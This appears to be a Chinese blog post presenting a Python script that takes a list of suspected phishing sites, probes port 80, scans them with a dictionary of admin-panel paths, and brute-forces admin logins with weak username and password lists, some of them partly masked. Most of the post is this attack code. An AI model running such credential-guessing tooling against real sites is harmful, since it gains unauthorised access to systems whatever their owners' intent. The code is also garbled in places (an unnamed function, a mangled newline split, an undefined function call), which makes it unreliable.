python钓鱼网站_Python批量检测钓鱼网站

写程序之前一定要自己的需求,这样才能拆解细小模块实现功能

总数有多少

去重之后有多少

能访问的URL有多少

存在弱口令的有多少

先来看一下我之前是如何处理一批列表:

类似于这样,首先需要把URL和后面的城市和时间分开,这里可以通过Excel自带的数据分列可以实现,也可以通过linux命令实现。

1awk -F ' ' '{print $1}' 1.csv

这样已经提取出第一段URL,因为这些url有些则是这样的格式:

http://localhost

127.0.0.1

所以没有办法统一,这里通过notepad++把http://都替换为空,之后再放入到excel之后再提取全部IP,以/号区别,这样就能提取全部IP地址了。

cat 1.csv|sort -u|wc -l 统计去重之后多少条

再之后提取这些url之后放入到BBScan去跑存在后台的,这里时间需要太久。

这是我之前的做法,如果一天下来还浪费了时间,所以这里通过Python实现上面几个步骤操作,现在程序才写到一半,后面会继续优化。

Python实现

提取可访问网站

3K多个网站里面肯定有很多访问不了的,所以这里就需要实现把能访问80端口提取出来。

之前是用requests去请求网站,不过后来想想这种效率太慢了,所以就换成socket请求80端口。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23from socket import *

def (file):

with open(open_file,'r') as read_url:

strc = str()

for x in read_url:

xx = x.split('n')

yield strc.join(xx)

def sockset_request(tarHost,TarPort=80):

try:

timeout = 2

setdefaulttimeout(timeout)

s = socket(AF_INET,SOCK_STREAM)

s.connect((tarHost,TarPort))

info = "{} n".format(tarHost)

create_file_name = datetime.datetime.now().strftime('%Y-%m-%d')

with open(create_file_name,'a',encoding='utf-8') as hand:

hand.writelines(info)

print(info.split('n'))

s.close()

except:

pass

先是通过socket_dict()函数加载IP列表,最后通过yield迭代器反回结果。

然后再通过socket请求,这里并创建一个今天日期的文件,把能访问的结果写入。

加载后台字典

这里因博客原因,所以我把一些常用的字典给隐藏掉了,自己用。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29def load_dict(file):

dict_scan_directory = ['/post/***','/admin_***/','/admin_***/login_***','/index_show/***/index.jsp','/***/index.jsp','/***_admin/']

with open(open_file,'r') as read_url:

strc = str()

for x in read_url:

xx = x.split('n')

conversion_str = strc.join(xx)

for directory in dict_scan_directory:

url_join = 'http://{url}{dir}'.format(url=conversion_str,dir=directory)

yield strc.join(url_join)

def request_get(url):

headers = {

'User-Agent':'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',

'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Encoding':'gzip, deflate, sdch',

'Accept-Language':'zh-CN,zh;q=0.8'

}

try:

r = requests.get(url,headers=headers,timeout=3)

if r.status_code == 200:

request_info = '{url} --> {code}'.format(url=r.url,code=r.status_code)

yield r.url

except Exception as e:

pass

先是对字典遍历拼接一个http://URL/后台类似一样的全地址,最后还是以迭代器.

最后通过request_get函数去请求判断是否存在。把这类存在的输出。

猜解某一类型密码

这里还是一些常用的后台密码弱口令字典,所以也给隐藏了。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24def fishing_type_a(url):

username_dict = ['admin', 'admin1']

password_dict = ['123456', '112356', 'aa****', 'aa****1', '9****7', 'aa****8', 'aa****7', '4****qq','aa1****', 'a****868', 'aa51****8']

headers = {

'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate, sdch',

'Accept-Language': 'zh-CN,zh;q=0.8'

}

for password in password_dict:

for username in username_dict:

payload = {

'User': '{username}'.format(username=username),

'Pass': '{password}'.format(password=password)

}

r = requests.get(url, data=payload, headers=headers)

r_stat_text = r.text

#print('{} {} {}'.format(url,payload,len(r.text)))

if len(r_stat_text) == 63:

print('{} {} {}'.format(url,username,password))

else:

pass

执行1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23def Attack_Scan(file):

for so in socket_dict(file):

sockset_request(so)

load_dict_datetime = datetime.datetime.now().strftime('%Y-%m-%d')

for read_url in load_dict(load_dict_datetime):

for attack in request_get(read_url):

strurl = '/admin_manager/'

if strurl in attack:

try:

fishing_type_a(attack)

except:

pass

print(attack)

if __name__ == '__main__':

if len(sys.argv) > 1:

open_file = sys.argv[1]

t = threading.Thread(target=Attack_Scan,args=(open_file,))

t.start()

else:

print('example: {} {} {}'.format('python',sys.argv[0],'url_list'))

这里先是调用各种函数,先是判断是否某一类后台,如果是这类后台,95%都是存在弱口令,略过那些没有需口令的并打印。

最终脚本所执行的结果:

后面会继续优化,处理一些URL的操作去重之类。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值